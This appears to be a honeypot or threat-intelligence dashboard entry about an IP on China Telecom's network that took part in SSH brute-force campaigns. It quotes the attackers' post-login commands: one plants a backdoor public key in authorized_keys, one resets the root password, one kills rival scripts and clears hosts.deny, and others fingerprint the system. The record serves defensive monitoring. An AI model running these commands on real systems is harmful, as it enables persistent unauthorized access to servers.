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Location
🇨🇳 CN
ASN
AS4811 · China Telecom (Group)
Cloud Provider
—
Total Events
132
Above average by volume
Agent Count
2
First / Last Seen
2026-06-22 00:47 — 2026-07-12 04:58
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (515 IPs, 72 countries)
HASSH
Active
high
🇺🇸 US
515 IPs
429685 events
ssh:bruteforce
2026-02-25 — ongoing · 515 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS4811 China Telecom Group
ASN
Active
medium
🇨🇳 CN
18 IPs
1453 events
ssh:bruteforce
2026-02-16 — ongoing · 18 IPs from the same network (China Telecom Group, AS4811) were active during overlapping time periods. Temporal correlation …
Session Forensics
Sessions
28 (3 with login)
Avg Depth Score
0.23
Commands Executed
11
Files Downloaded
3
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:eojjfppHwrkS"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
Fingerprints
HASSH
SSH Client
Evidence Timeline
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c4f5172c5656
15%
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8fbdd5149c9e
15%
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34047fe3fadb
15%
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8d9643309972
15%
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0d1a3a8c74ab
15%
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SSH-2.0-libssh_0.9.6
Scanner
c22cac5d94c6
15%
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Malware Dropper
71bfe602dca6
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
29cd7b58f3bb
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
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69e9bbe410bc
15%
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SSH-2.0-libssh_0.9.6
Scanner
9ad030a5e76a
15%
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Malware Dropper
8c7b3267eb40
LOGIN
8
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:eojjfppHwrkS"|chpasswd|bash
Scanner
476b4e9b4813
15%
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bee8a93b00b5
15%
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c25f19a0da34
15%
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SSH-2.0-libssh_0.9.6
Scanner
72c13319535e
15%
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SSH-2.0-libssh_0.9.6